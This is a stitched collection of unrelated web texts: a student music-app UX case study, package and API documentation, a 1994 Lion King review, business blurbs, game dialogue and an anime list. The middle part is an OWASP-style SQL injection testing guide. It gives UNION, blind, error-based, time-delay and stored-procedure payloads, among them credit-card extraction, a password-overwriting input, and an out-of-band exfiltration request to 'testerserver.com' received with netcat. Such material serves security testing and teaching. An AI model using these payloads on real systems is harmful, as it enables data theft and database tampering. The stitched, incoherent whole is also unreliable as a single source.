Visit Medium Post!
Visit our Music Prototype Preview!
Library: is our redesign for a music library based on different scenarios and user interaction and feedback. We wanted to take different design styles to combine for a friendlier user experience than current apps on the market. Library targets 2 specific scenarios: 1. Creating a new playlist and 2. Managing the new playlist.
Library was designed in a UI/UX course at UC San Diego by 4 students. Our group conducted interviews, analyzed workflows for applications and their architecture in order to create our Prototype Redesign in Figma.
In order to take a glimpse at different users music listening habits were, and how they create playlists. We conducted several different interviews about a users general music application use. We created a list of pre-questions to figure out about the way users interact and respond to various music apps such as Spotify, YouTube, SoundCloud, etc. A way to quantify their music listening habits and the way they utilize these various music apps for creation, discovery, management.
Then from the interviews, we gathered a list of likes and dislikes about each app to help better build and conceptualize our prototype. Many of these apps have different work flows to create a playlist and adding the song. Whereas some applications like YouTube and SoundCloud create playlists from the first song, while Spotify and Apple Music creates an empty playlist first. I conducted the interview on 3 participants, they used YouTube, SoundCloud and Google Play Music. I screen captured my mobile device and conducted different scenarios I devised. These included creating playlists based on mood, discovering music based on the playlist, renaming, sharing, and managing.
In order to further conceptualize and map out our design of Library, we also compared the workflow and experience between different applications. In such example we try to find the create playlist button in iTunes vs Spotify. The workflow for iTunes was way more intuitive based on the way the app groups their music in the library, and shifts toward the playlist page to create a new playlist.
In the Spotify screenshot we see how tedious the user has to go through to make a new playlist. They have to find the playlist page that is masked with pre-made and suggested playlists, then scroll down to the bottom of the playlists to find the button for creating an empty playlist. We thought it would be much more efficient and easy for the user to just create the playlist at the top of the page. During our interviews some users had trouble finding the create button.
Our group also performed Information Architecture analysis on several apps. By doing deep dives into a specific music app to see their range of discoverable music genres. This deep dive of discovering the extensiveness of genres in different music applications was to analyze the navigation structure of the apps. These music apps have a specific hierarchical sitemap that we links to the different various pages.
For the Analysis of Information Architecture, I performed a deep dive for Alternative/Indie music within Google Play Music. Through the Browse Stations tab, I listed all the possible stations for various different playlists for Alternative/Indie. Each of these stations have their own group of artists and selection based on the different generated playlists.
The Prototype Redesign is the biggest aspect of this project. Taking all the data, and ideas from the previous analysis, user feedback we created a music playlist design flow that is more intuitive and smoother for the user. We used the design mockup wireframe creating software called Figma, to create each screen and link together the application as a active design.
These are 3 different design mockups with different color palettes for our design of the Library Music App. In order to get some basic components, we started with basic different UI starter components to begin creating the wireframe of the app. We sketched out the basic design of how our app was going to look and the various placements of the most basic parts of the app such as search bar, edit buttons, navigation bars etc.
Once we had a basic mockup of the general design flow of our application we looked into the correct placement of different core functionality of the app. One of the hardest design decisions were figuring out the way we wanted to control the user flow of navigation or the position of the edit bar. Below in these 4 images, is first the different way we wanted to have the navigation bar. And also the position of the edit button.
The edit button causes unnecessary white space that makes for an awkward viewing experience. As a group we all decided that having the edit button here was not an efficient use for the space and would just be better to eliminate the edit portion on the playlist main page. As shown below.
As a group we wanted created 2 scenarios for Library. These 2 scenarios are creating a playlist through search and adding songs from a previous playlist and the second is managing the playlist by deletion, and renaming the playlist.
In the following screenshot details the user flow for creating a playlist in Library.
I helped in creating the various wireframes you see from scenario 1. The creating new playlist screens, with the ability to add, or delete directly from the playlist was designed by me. This was taking into account the good and bad design flows and interview feedback. I wanted to create a simple and intuitive way for users to quickly create and add music to their playlist. This was the final design flow for our scenario 1.
The second scenario was looking at an already created playlist and managing the selected playlist. I created the wireframes for the previous playlist "vapooorwaaave" and renaming the playlist to "lit gym playlist" and the ability to delete the song from the playlist. I wanted to give all the options for the user on one page, instead of some sort of secondary menu to delete the songs or selecting different options to rename or delete. This was to keep the user from clicking too many times and keep the process simple.
Finally, this is the overall view of the project with every wireframe in place. Where we highlighted hot spots that connected each wireframe to the next. Being able to link the user flow captures the 2 scenarios and how the user would have navigated the Library to create a playlist, and manage it.
The prototype redesign is where we had many challenges to decide what were the best fit designs that would best benefit and create the most smooth user work flow. As mentioned above we had problems with the edit button and the navigation bar aspects. We took quite a while to decide and brainstorm ways to fix these issues, and ended up resulting with what our current app looks like. There was also another challenge such as displaying the song details in different situations such as during search vs. in the library. Many of these issues stemmed from our displeasure with aesthetics and having to sacrifice functionality and flexbility.
Therefore our final product is a workable design mockup of two different scenarios on our created design of a Music app called Library. We aimed to bridge the awkwardness and clunkiness of some flaws of current music apps. In order to make a more intuitive user experience with navigating through creation, management, and deletion, we had to trade off different design features such as the different types of navigation, and ways to manage space.
Overall this project was a great experience in deeply looking in the current app market and how these huge apps utilize the app space to manipulate and perform common design flow for organizing, playing, and managing music. The interviews enabled us as a group to identify personal user experience with these various apps and gather a sort of standard of what the consumers like or dislike. Then through analyzing information architecture and design flows we were able to get a good idea on how current apps in the market allow for users to go through the various scenarios and the extent of the usability. The prototype is a sort of culmination of all our gathered data and ideas put into a working design flow using figma.


This package parses SPDX license expression strings describing license terms, like package.json license strings, into consistently structured ECMAScript objects. The npm command-line interface depends on this package, as do many automatic license-audit tools.
In a nutshell:
var parse = require('spdx-expression-parse')
var assert = require('assert')
assert.deepEqual(
// Licensed under the terms of the Two-Clause BSD License.
parse('BSD-2-Clause'),
{license: 'BSD-2-Clause'}
)
assert.throws(function () {
// An invalid SPDX license expression.
// Should be `Apache-2.0`.
parse('Apache 2')
})
assert.deepEqual(
// Dual licensed under either:
// - LGPL 2.1
// - a combination of Three-Clause BSD and MIT
parse('(LGPL-2.1 OR BSD-3-Clause AND MIT)'),
{
left: {license: 'LGPL-2.1'},
conjunction: 'or',
right: {
left: {license: 'BSD-3-Clause'},
conjunction: 'and',
right: {license: 'MIT'}
}
}
)
The syntax comes from the Software Package Data eXchange (SPDX), a standard from the Linux Foundation for shareable data about software package license terms. SPDX aims to make sharing and auditing license data easy, especially for users of open-source software.
The bulk of the SPDX standard describes syntax and semantics of XML metadata files. This package implements two lightweight, plain-text components of that larger standard:
-
The license list, a mapping from specific string identifiers, like
Apache-2.0
, to standard form license texts and bolt-on license exceptions. The spdx-license-ids and spdx-exceptions packages implement the license list.spdx-expression-parse
depends on andrequire()
s them.Any license identifier from the license list is a valid license expression:
```javascript var identifiers = [] .concat(require('spdx-license-ids')) .concat(require('spdx-license-ids/deprecated'))
identifiers.forEach(function (id) { assert.deepEqual(parse(id), {license: id}) }) ```
So is any license identifier
WITH
a standardized license exception:javascript identifiers.forEach(function (id) { require('spdx-exceptions').forEach(function (e) { assert.deepEqual( parse(id + ' WITH ' + e), {license: id, exception: e} ) }) })
-
The license expression language, for describing simple and complex license terms, like
MIT
for MIT-licensed and(GPL-2.0 OR Apache-2.0)
for dual-licensing under GPL 2.0 and Apache 2.0.spdx-expression-parse
itself implements license expression language, exporting a parser.javascript assert.deepEqual( // Licensed under a combination of: // - the MIT License AND // - a combination of: // - LGPL 2.1 (or a later version) AND // - Three-Clause BSD parse('(MIT AND (LGPL-2.1+ AND BSD-3-Clause))'), { left: {license: 'MIT'}, conjunction: 'and', right: { left: {license: 'LGPL-2.1', plus: true}, conjunction: 'and', right: {license: 'BSD-3-Clause'} } } )
The Linux Foundation and its contributors license the SPDX standard under the terms of the Creative Commons Attribution License 3.0 Unported (SPDX: "CC-BY-3.0"). "SPDX" is a United States federally registered trademark of the Linux Foundation. The authors of this package license their work under the terms of the MIT License.


THE LION KING A film review by James Berardinelli Copyright 1994 James Berardinelli
Rating (Linear 0 to 10): 8.6
Date Released: 6/15/94 (limited); 6/24/94 (general) Running Length: 1:27 Rated: G
Featuring the voices of Jeremy Irons, James Earl Jones, Matthew Broderick, Whoopi Goldberg, Moira Kelly, Robert Guillaume, Cheech Marin, Rowan Atkinson, and Jonathan Taylor Thomas Directors: Rob Minkoff and Roger Allers Producer: Don Hahn Screenplay: Irene Mecchi and Jonathan Roberts Music: Hans Zimmer Songs: Elton John and Tim Rice Released by Walt Disney Pictures
HAMLET meets THE JUNGLE BOOK--that's what THE LION KING is--adding, of course, a few special touches all its own. Disney's 32nd animated feature film is its darkest since THE BLACK CAULDRON, and, in many ways, a departure from the light-heartedness of THE LITTLE MERMAID, BEAUTY AND THE BEAST, and ALADDIN. There are moments of fun and humor, to be sure, but the undercurrent is of a far more serious, "adult" nature.
THE LION KING is primarily about guilt and redemption. Simba, a young lion cub and heir to his father's throne, is led to believe that he was the cause of the king's death. The trauma caused by this is so great that Simba goes into exile, attempting to find peace-of-mind through anonymity in the company of a warthog and a meerkat. But it's never that easy to escape the past....
The HAMLET parallels are all there for the discerning adult to note. Mufasa, king of the lions, is killed by a treacherous brother who subsequently takes over the rule of the kingdom. Simba, the beloved son, is wracked by guilt and impotence until the ghost of his father gives him instruction on what actions he should take.
Death, something not really touched on in the last three animated Disney tales, is very much at the forefront of THE LION KING. In a scene that could disturb younger viewers, Mufasa's demise (at the paws of his brother) is shown. It is a chilling moment that is reminiscent of a certain incident in BAMBI.
The film also contains a fair share of violence, including a rather graphic battle between two lions. Parents should carefully consider before automatically taking a child of, say, under seven years of age, to this movie.
After three animated motion pictures centered upon the love of two people from different worlds, THE LION KING's focus is different. This time around, the love story (between Simba and the lioness Nala) is a subplot. The film is most concerned with its young hero's coming-of-age, and the responsibilities that arrive with adulthood--including the need to confront guilt and its associated fear.
Scar, Simba's treacherous uncle, is the latest in a long line of Disney antagonists. Gone is the buffoonery that has marked the recent trio of Ursula, Gaston, and Jafar. Scar is a sinister figure, given to acid remarks and cunning villainy. The cold-hearted manner in which he causes Mufasa's death lets us know that this is not a lion to be trifled with.
An all-star cast was selected to supply THE LION KING's voices. Jeremy Irons, with his dry British accent, is a critical element of Scar's personality. James Earl Jones lends his booming bass to Mufasa, truly a lord of the jungle. Whoopi Goldberg and Cheech Marin play a pair of laughing hyenas, Rowan Atkinson uses his vocal talents for a sour- tongued bird, and Moira Kelly's Nala is the sole significant female character. Matthew Broderick, with his rather nondescript voice, is the adult Simba, with Jonathan Taylor Thomas as the cub.
The animation, as expected from any Disney film, is superior. As usual, as much attention is given to small background details as to foreground principals. Lighting and color are used to highlight the shifting tone of the picture (the sunny warmth of Mufasa's kingdom to the dreary barrenness of Scar's), and the animators have never lost sight that their subjects are not human.
Since 1989's THE LITTLE MERMAID, the musical element of any Disney animated picture has been nearly as important as the visual one (the three previous movies have garnered a total of twelve Grammy awards). With the songwriting team of Alan Menken and the late Howard Ashman (replaced following his death by Tim Rice) in charge, the soundtracks for THE LITTLE MERMAID, BEAUTY AND THE BEAST, and ALADDIN have become huge commercial successes. For THE LION KING, Menken is absent. The songs here are by Elton John and Tim Rice, with the score coming from composer Hans Zimmer.
Two of the five John/Rice songs are rather unimpressive ("I Just Can't Wait to Be King" and "Hakuna Matata"), one is decent ("Be Prepared"), and two are quite good ("Circle of Life" and "Can You Feel the Love Tonight"). "Circle of Life," the opening number, is a visual extravaganza that may be the most astounding sequence ever in any animated film. "Can You Feel the Love Tonight" is THE LION KING's love song, although it leaves you wondering if either Matthew Broderick or Moira Kelly can sing, since the song vocals of Simba and Nala are supplied by Joseph Williams and Sally Dworsky, respectively.
The soundtrack weakness of MERMAID, BEAUTY, and ALADDIN--a dull score--has been rectified in THE LION KING. Hans Zimmer, using a style similar to the one he employed for THE POWER OF ONE, brings an African flavor to his music, and incorporates the five songs seamlessly.
With each new animated release, Disney seems to be expanding its already-broad horizons a little more. THE LION KING is the most mature (in more than one sense) of these films, and there clearly has been a conscious effort to please adults as much as children. Happily, for those of us who generally stay far away from "cartoons," they have succeeded.
- James Berardinelli<EMAIL_ADDRESS>.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


import LayerHierarchy from 'leaflet.control.nestedlayers/src/Leaflet.LayerHierarchy.js'
LayerHierarchy
Represents a non-rooted tree structure of NestedLayer objects
Constructor Summary
| Public Constructor | ||
| public |
constructor(options: object) |
Member Summary
| Public Members | ||
| public get |
Root-level NestedLayer layers |
|
| public get |
Configuration options |
|
| public get |
{@link #LayerHierarchy#layers Root-level NestedLayer layers} |
Method Summary
| Public Methods | ||
| public |
addLayer(layer: NestedLayer, parentID: number) Adds a new layer into the tree. |
|
| public |
getLayerByID(id: number, children: NestedLayer[]): NestedLayer Finds a layer in the tree by ID. |
|
| public |
makeLayer(layerData: object): NestedLayer Factory method for making a new NestedLayer that is owned by this hierarchy |
|
| public |
ownAllLayers(layers: NestedLayer[]) Take ownership of a layer subtree AND those layers' children |
|
| public |
ownLayer(layer: NestedLayer) Take ownership of a layer |
|
| public |
ownsLayer(layer: NestedLayer): boolean Checks if this LayerHierarchy owns the provided layer |
|
| public |
validateEnabledStates(layers: *, newEnabledValue: *) |
Public Constructors
public constructor(options: object) source
Params:
| Name | Type | Attribute | Description |
| options | object | Configuration options |
|
| options.layers | NestedLayer[] |
|
Layers to include at the root level |
| options.followAncestorVisibility | boolean |
|
{@link #NestedLayers#constructor See the plugin constructor.} |
| options.propogateDeselectToChildren | boolean |
|
{@link #NestedLayers#constructor See the plugin constructor.} |
| options.followAncestorMutability | boolean |
|
{@link #NestedLayers#constructor See the plugin constructor.} |
Public Members
public get rootLayers: NestedLayer[] source
{@link #LayerHierarchy#layers Root-level NestedLayer layers}
Public Methods
public addLayer(layer: NestedLayer, parentID: number) source
Adds a new layer into the tree. Defaults to insertion at the root of the tree, but passing a the ID of another layer will insert the layer as a child of that parent.
Params:
| Name | Type | Attribute | Description |
| layer | NestedLayer | The layer to insert |
|
| parentID | number |
|
The ID of a parent to insert underneath |
public getLayerByID(id: number, children: NestedLayer[]): NestedLayer source
Finds a layer in the tree by ID. Traverses the tree recurisvely until it is found. Don't pass children unless you want to search a specific subtree.
Params:
| Name | Type | Attribute | Description |
| id | number | The layer ID to search for |
|
| children | NestedLayer[] |
|
A subtree to search |
public makeLayer(layerData: object): NestedLayer source
Factory method for making a new NestedLayer that is owned by this hierarchy
Params:
| Name | Type | Attribute | Description |
| layerData | object | The same object you would provide to the {@link #NestedLayer#constructor constructor of NestedLayer} |
public ownAllLayers(layers: NestedLayer[]) source
Take ownership of a layer subtree AND those layers' children
Params:
| Name | Type | Attribute | Description |
| layers | NestedLayer[] | The layers to become the owner of |
public ownLayer(layer: NestedLayer) source
Take ownership of a layer
Params:
| Name | Type | Attribute | Description |
| layer | NestedLayer | The layer to become the owner of |
public ownsLayer(layer: NestedLayer): boolean source
Checks if this LayerHierarchy owns the provided layer
Params:
| Name | Type | Attribute | Description |
| layer | NestedLayer | The layer to check |
public validateEnabledStates(layers: *, newEnabledValue: *) source
Params:
| Name | Type | Attribute | Description |
| layers | * | ||
| newEnabledValue | * |


TheoCraft.Tech has been crafting amazing applications for start-ups & enterprise compaines.
Hire us!We are a team of developers that specializes on backend, frontend, CI / CD pipelines, cross-platform mobile apps with a wide range of development experience.
Hire us!Get the most of open source from a team who know loves open source <3
Knows the pain points of software development & ways to overcome
Coding is an integral part of the process. Having a neat environment is essential!
Your success is our happiness. We'd love to see your plans work!
Ready to start your next project with us? That's great! Give us a call or send us an email and we will get back to you as soon as possible!
+63906 578 4859


We believe nature has been providing us with many benefits.
Customizable Products To Your Own Needs
All Natural Products, No Food Additive & Non-GMO
No Need to Worry about Legality
Our products are 100% legal and certified.
We Only Deliver You High-Quality Products
Be rest assured about the quality of product you order, it has passed our quality control procedure.
Products Can Be Customized
Waste no more effort as our products can be specifically customized to your unique needs.
Focus on Customer Needs
We focus our capabilities towards satisfying our valuable customer by integrating downstream and upstream in the value chain.


--- layout: post status: publish published: true title: "幸福向日葵" author: Leask author_login: leask author_email<EMAIL_ADDRESS>author_url: https://leaskh.com wordpress_id: 473 wordpress_url: http://leaskh.wordpress.com/2006/09/26/%e5%b9%b8%e7%a6%8f%e5%90%91%e6%97%a5%e8%91%b5 date: '2006-09-26 10:42:05 +0800' date_gmt: '2006-09-26 10:42:05 +0800' categories: - Life tags: [] comments: [] ---


/** * @name node.repl * @namespace * A Read-Eval-Print-Loop (REPL) is available both as a standalone program and easily * includable in other programs. REPL provides a way to interactively run * JavaScript and see the results. It can be used for debugging, testing, or * just trying things out. * * By executing node without any arguments from the command-line you will be * dropped into the REPL. It has simplistic emacs line-editing. *
 * mjr:~$ node * Type '.help' for options. * > a = [ 1, 2, 3]; * [ 1, 2, 3 ] * > a.forEach(function (v) { * ... console.log(v); * ... }); * 1 * 2 * 3 *
 * For advanced line-editors, start node with the environmental variable NODENOREADLINE=1. * This will start the REPL in canonical terminal settings which will allow you to use with rlwrap. * * For example, you could add this to your bashrc file: *
 * alias node="env NODENOREADLINE=1 rlwrap node" *
 */ goog.provide("node.repl"); /** * @param {Object} obj * @param {string} showHidden * @param {number} depth * @param {string} colors */ node.repl.writer = function(obj, showHidden, depth, colors) { return node.repl.core_.writer(obj, showHidden, depth, colors); }; /** * Starts a REPL with prompt as the prompt and stream for all I/O. prompt * is optional and defaults to > . stream is optional and defaults to * process.stdin. * * Multiple REPLs may be started against the same running instance of node. Each * will share the same global object but will have unique I/O. * * Here is an example that starts a REPL on stdin, a Unix socket, and a TCP socket: *
 * var net = require("net"), * repl = require("repl"); * * connections = 0; * * repl.start("node via stdin> "); * * net.createServer(function (socket) { * connections += 1; * repl.start("node via Unix socket> ", socket); * }).listen("/tmp/node-repl-sock"); * * net.createServer(function (socket) { * connections += 1; * repl.start("node via TCP socket> ", socket); * }).listen(5001); *
 * Running this program from the command line will start a REPL on stdin. Other * REPL clients may connect through the Unix socket or TCP socket. telnet is useful * for connecting to TCP sockets, and socat can be used to connect to both Unix and * TCP sockets. * * By starting a REPL from a Unix socket-based server instead of stdin, you can * connect to a long-running node process without restarting it. * @param {string} prompt * @param {string} source */ node.repl.start = function(prompt, source) { return node.repl.core_.start(prompt, source); }; /** * @private * @type {*} */ node.repl.core_ = require("repl");


Exploitation Techniques
Union Exploitation Technique
The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:
SELECT Name, Phone, Address FROM Users WHERE Id=$id
We will set the following $id value:
$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
We will have the following query:
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword ALL is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected two other values. These two values are necessary because the two queries must have an equal number of parameters/columns in order to avoid a syntax error.
The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.
In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:
http://www.example.com/product.php?id=10 ORDER BY 10--
If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:
Unknown column '10' in 'order clause'
After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:
http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--
If the query fails, the tester will probably see a message like:
All cells in a column must have the same datatype
If the query executes with success, the first column can be an integer. Then the tester can move further and so on:
http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--
After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):
http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--
Boolean Exploitation Technique
The Boolean exploitation technique is very useful when the tester finds a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect).
By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:
http://www.example.com/index.php?id=1'
We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:
SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:
SUBSTRING (text, start, length): returns a substring starting from the position "start" of text and of length "length". If "start" is greater than the length of text, the function returns a null value.
ASCII (char): it gives back ASCII value of the input character. A null value is returned if char is 0.
LENGTH (text): it gives back the number of characters in the input text.
Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for Id:
$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
That creates the following query (from now on, we will call it "inferential query"):
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for Id:
$Id=1' AND '1' = '2
Which will create the following query:
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order to decide the result of the test.
In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.
We will insert the following value for the field Id:
$Id=1' AND LENGTH(username)=N AND '1' = '1
Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.
The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.
Error based Exploitation technique
An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).
Consider the following SQL query:
SELECT * FROM products WHERE id_product=$id_product
Consider also the request to a script who executes the query above:
http://www.example.com/product.php?id=10
The malicious request would be (e.g. Oracle 10g):
http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--
In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:
ORA-292257: host SCOTT unknown
Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.
Out of band Exploitation technique
This technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.
Consider the following SQL query:
SELECT * FROM products WHERE id_product=$id_product
Consider also the request to a script who executes the query above:
http://www.example.com/product.php?id=10
The malicious request would be:
http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--
In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver (e.g. Apache) or use the Netcat tool:
/home/tester/nc –nLp 80
GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close
Time delay Exploitation technique
The time delay exploitation technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).
Consider the following SQL query:
SELECT * FROM products WHERE id_product=$id_product
Consider also the request to a script who executes the query above:
http://www.example.com/product.php?id=10
The malicious request would be (e.g. MySql 5.x):
http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--
In this example the tester is checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.
Stored Procedure Injection
When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.
Consider the following SQL Server Stored Procedure:
Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring = ‘
Select 1 from users
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
exec(@sqlstring)
Go
User input:
anyusername or 1=1'
anypassword
This procedure does not sanitize the input, therefore allowing the return value to show an existing record with these parameters.
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data.
Consider the following SQL Server Stored Procedure:
Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go
User input:
1 from users; update users set password = 'password'; select *
This will result in the report running and all users’ passwords being updated.
Automated Exploitation
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap


Guard Pinaps:
I need your help. But unlike me, you are not duty bound, mercenary. Stay or leave. I will not grovel.
Say you will continue.
Say you will quit.


WELCOME TO ANIMEHUB
COLLECTION LIBRARY
Stein;s gate 0
Steins; gate
Ghost in the shell:S.A.C
Ergo Proxy
PSYCHO PASS


| Checks to see if the designated graphic mode exists. |
| width = width, in pixels (i.e. 640) height = height, in pixels (i.e. 480) depth = color depth (i.e. 16, 24, 32) |
Command Description:
| Use this command to verify whether or not the user's video card can use this graphic mode. Returns TRUE if the mode exists, FALSE if not. If you want to know what mode number this mode is, use FindGFXMode. |
Example:
| ; GFXModeExists example ; If there is a mode, tell user mode=GfxModeExists(800,800,16) If mode=1 Then Print "The mode you requested exists!" Else Print "Sorry, that mode doesn't exist." End If ; Wait for ESC press from user While Not KeyHit(1) Wend |


This project ships with a handler called the ChainHandler. It's purpose is to make it easier to wrap the functionality of one handler with additional functionality. For example using the relational data store may be ideal for storing resources, but what if we want to add an authentication layer on top of those resources? An authentication handler shouldn't know or care about the storage of the underlying resource, it should only deal with authentication - we need an abstraction layer to help us glue all of this together.
To get started with the ChainHandler, go ahead and instantiate one:
var jsonApi = require("@jagql/framework");
var testChainHandler = new jsonApi.ChainHandler();
From there it's a simple case of attaching new function handlers to testChainHandler, following the naming convention of ("before"|"after")+function - eg beforeSearch, beforeCreate, afterDelete.
These new functions need to match the signatures of the functions they're overriding and need to pass the data onwards via a callback. For example, here are two valid functions that don't add any functionality. Notice how the callback values match the function signatures:
NOTE The only exception to the above is that all after function signatures are also passed the original request object in addition to the other objects. This enables us to implement clever features on a per-request basis by providing a mechanism to push state between before and after functions.
With a new ChainHandler ready to go, this is how we can stack them up:
Chaining handlers together with the ChainHandler
This project ships with a handler called the
ChainHandler
. It's purpose is to make it easier to wrap the functionality of one handler with additional functionality. For example using the relational data store may be ideal for storing resources, but what if we want to add an authentication layer on top of those resources? An authentication handler shouldn't know or care about the storage of the underlying resource, it should only deal with authentication - we need an abstraction layer to help us glue all of this together.To get started with the ChainHandler, go ahead and instantiate one:
var jsonApi = require("@jagql/framework"); var testChainHandler = new jsonApi.ChainHandler();
From there it's a simple case of attaching new function handlers to
testChainHandler
, following the naming convention of("before"|"after")+function
- egbeforeSearch
,beforeCreate
,afterDelete
.These new functions need to match the signatures of the functions they're overriding and need to pass the data onwards via a callback. For example, here are two valid functions that don't add any functionality. Notice how the callback values match the function signatures:
testChainHandler.beforeSearch = function(request, callback) { return callback(null, request); }; testChainHandler.afterSearch = function(request, results, pagination, callback) { return callback(null, results, pagination); };
NOTE The only exception to the above is that all
after
function signatures are also passed the originalrequest
object in addition to the other objects. This enables us to implement clever features on a per-request basis by providing a mechanism to push state betweenbefore
andafter
functions.With a new ChainHandler ready to go, this is how we can stack them up:
jsonApi.define({ resource: "articles", handlers: chainHandler1.chain(chainHandler2).chain(memoryHandler), });
The call stack when chaining multiple
ChainHandler
